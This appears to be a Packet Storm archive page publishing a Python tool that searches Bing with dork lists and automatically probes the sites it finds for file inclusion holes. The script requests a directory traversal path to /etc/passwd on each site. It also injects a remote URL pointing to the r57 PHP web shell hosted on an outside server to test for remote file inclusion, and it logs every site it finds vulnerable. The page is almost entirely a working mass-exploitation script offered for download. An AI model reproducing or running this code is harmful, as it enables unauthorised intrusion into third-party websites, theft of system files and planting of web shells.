exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Bing LFI / RFI Scanner

Bing LFI / RFI Scanner
Posted May 12, 2013
Authored by miyachung

This is a python script for searching Bing for sites that may have local and remote file inclusion vulnerabilities.

tags | tool, remote, local, scanner, vulnerability, python, file inclusion
systems | unix
SHA-256 | b57e9c6371c8ee26ae27e8621e28c0050585e84a7b11dc144d70b52d742a8976

Bing LFI / RFI Scanner

Change Mirror Download
##################################################
# Bing LFI-RFI Searcher
# Coded by Miyachung
# Janissaries.Org
# Miyachung@hotmail.com
##################################################
import threading
import urllib2,urllib,socket
import re
import time
import sys
socket.setdefaulttimeout(5)
def dorker(url,limit,shell):
try:
regex = re.compile("h3><a href=\"(.*?)\" h=")
path = "../../../../../../../../../../../../../../etc/passwd"
pathn = "../../../../../../../../../../../../../../etc/passwd%00"
conn = urllib2.urlopen(url)
data = conn.read()
links= regex.findall(data)
for link in links:
link = link.strip()
if re.search("=",link) and link.find("youtube") == -1 and link.find("forum") == -1 and link.find("google") == -1 and link.find("viewtopic") == -1 and link.find("showthread") == -1 and link.find("blog") == -1 and link.find("yahoo") == -1:
link = link.split('=')
link = link[0]+"="
check= urllib2.urlopen(link+path,None,3).read()
if re.search("root:x",check):
a = "#########################################################\r\n"
a+= "[+]"+link+" /etc/passwd readed without null byte\r\n"
a+= "[+]read -> "+link+path+"\r\n"
a+= "[+]coded by miyachung\r\n"
print a + "#########################################################"
kaydet(a)
else:
check = urllib2.urlopen(link+pathn,None,3).read()
if re.search("root:x",check):
a = "#########################################################\r\n"
a += "[+]"+link+" /etc/passwd readed with null byte!\r\n"
a += "[+]read -> "+link+pathn+"\r\n"
a += "[+]coded by miyachung\r\n"
print a + "#########################################################"
kaydet(a)
else:
print link+" hasn't got lfi vulnerability"
checkrfi = urllib2.urlopen(link+shell,None,3).read()
if re.search("safe_mode",checkrfi):
a = "#########################################################\r\n"
a+= "[+]remote file include vulnerability works!\r\n"
a+= "[+]shell -> "+link+shell+"\r\n"
a+= "[+]coded by miyachung\r\n"
print a + "#########################################################"
kaydet(a)
else:
print link+" hasn't got rfi vulnerability"
except urllib2.URLError:
print link+" urlerror"
pass
except urllib2.HTTPError:
print link+" httperror"
pass
except socket.timeout:
print link+" timeout"
pass
except:
pass

limit.release()
def kaydet(yazi):
ac = open('results.txt','ab')
ac.write(yazi)
ac.close()
class Exploiter:
def main(self,dorks,thread,shell):
for dork in open(dorks):
dork = dork.strip()
i = 1
limit = threading.BoundedSemaphore(value=thread)
tasks = []
while i <= 451:
limit.acquire()
th = threading.Thread(target=dorker,args=("http://www.bing.com/search?q="+urllib.quote_plus(dork)+"&count=50&first="+str(i)+"&FORM=PERE",limit,shell,))
tasks.append(th)
th.start()
i += 50
for t in tasks:
t.join()
try:
exploit = Exploiter()
exploit.main(sys.argv[1],int(sys.argv[2]),"http://www.xfocus.net/tools/200608/r57.txt?")
except IndexError:
print "# Bing LFI-RFI Searcher"
print "# Coded by Miyachung"
print "# Janissaries.Org"
print "Usage: python searcher.py DORKLISTFILE THREAD"
print "Examp: python searcher.py dorks.txt 10"
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close